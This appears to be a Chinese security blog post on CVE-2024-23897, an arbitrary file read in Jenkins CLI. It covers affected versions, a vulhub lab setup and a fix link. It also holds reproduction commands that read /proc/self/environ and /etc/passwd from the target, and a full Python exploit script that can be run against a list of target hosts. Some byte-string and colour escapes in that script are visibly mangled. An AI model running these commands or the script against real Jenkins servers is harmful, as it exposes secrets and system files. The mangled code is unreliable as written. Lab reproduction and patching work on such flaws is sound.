0x00 漏洞简介
Jenkins是一款基于JAVA开发的开源自动化服务器。
Jenkins使用args4j来解析命令行输入,并支持通过HTTP、WebSocket等协议远程传入命令行参数。在args4j中,用户可以通过@字符来加载任意文件。这一特性存在安全风险,攻击者可以利用它来读取服务器上的任意文件。
0x01 影响范围
Jenkins weekly <= 2.441
Jenkins LTS <= 2.426
0x02 环境启动
cd /root/vulhub/jenkins/CVE-2024-23897
docker-compose build
docker-compose up -dBASH复制全屏
0x03 漏洞复现
访问http://靶场IP:8086 显示Jenkins页面
下载官方提供的命令行客户端
wget http://IP:8080/jnlpJars/jenkins-cli.jar
#使用该工具读取目标服务器的`/proc/self/environ`文件
java -jar jenkins-cli.jar -s http://IP:8080/ -http help 1 "@/proc/self/environ"
#使用该工具读取目标服务器的`/etc/passwd`文件
java -jar jenkins-cli.jar -s http://IP:8080/ who-am-i @/etc/passwd
如果出现以下提示,说明我们正在使用的Java版本与Jenkins CLI JAR文件所需的Java版本不兼容。
升级Java版本:
#查询Java安装信息
yum list installed |grep java
rpm -qa |grep java
#卸载旧版本
yum remove -y java-1.8.0-openjdk*
yum remove -y tzdata-java.noarch*
#重新安装Java新版本
yum update
yum install -y java-11-openjdk-devel
#验证java版本
java -version
0x04 修复建议
升级至安全版本:https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314
0x05 POC
import argparse
import threading
import http.client
import uuid
import urllib.parse
# Color constants
RED = '33[91m'
GREEN = '33[92m'
YELLOW = '33[93m'
ENDC = '33[0m'
def format_url(url):
if not url.startswith('http://') and not url.startswith('https://'):
url = 'http://' + url
return url
def send_download_request(target_info, uuid_str):
try:
conn = http.client.HTTPConnection(target_info.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "download"
})
response = conn.getresponse().read()
print(f"{GREEN}RESPONSE from {target_info.netloc}:{ENDC} {response}")
except Exception as e:
print(f"{RED}Error in download request:{ENDC} {str(e)}")
def send_upload_request(target_info, uuid_str, data):
try:
conn = http.client.HTTPConnection(target_info.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "upload",
"Content-type": "application/octet-stream"
}, body=data)
except Exception as e:
print(f"{RED}Error in upload request:{ENDC} {str(e)}")
def launch_exploit(target_url, file_path):
formatted_url = format_url(target_url)
target_info = urllib.parse.urlparse(formatted_url)
uuid_str = str(uuid.uuid4())
data = b'x00x00x00x06x00x00x04helpx00x00x00x0ex00x00x0c@' + file_path.encode() + b'x00x00x00x05x02x00x03GBKx00x00x00x07x01x00x05en_USx00x00x00x00x03'
upload_thread = threading.Thread(target=send_upload_request, args=(target_info, uuid_str, data))
download_thread = threading.Thread(target=send_download_request, args=(target_info, uuid_str))
upload_thread.start()
download_thread.start()
upload_thread.join()
download_thread.join()
def process_target_list(file_list, file_path):
with open(file_list, 'r') as file:
targets = [format_url(line.strip()) for line in file.readlines()]
for target in targets:
print(f"{YELLOW}Processing target:{ENDC} {target}")
launch_exploit(target, file_path)
def main():
parser = argparse.ArgumentParser(description='Exploit script for CVE-2024-23897.')
parser.add_argument('-u', '--url', help='Single target URL.')
parser.add_argument('-l', '--list', help='File with list of target hosts.')
parser.add_argument('-f', '--file', required=True, help='File path to read from the server.')
args = parser.parse_args()
if args.url:
launch_exploit(args.url, args.file)
elif args.list:
process_target_list(args.list, args.file)
else:
print(f"{RED}Error:{ENDC} Please provide a single target URL (-u) or a list of targets (-l).")
if __name__ == "__main__":
main()
本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!
敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
原文始发于微信公众号(巢安实验室):Jenkins CLI 任意文件读取漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论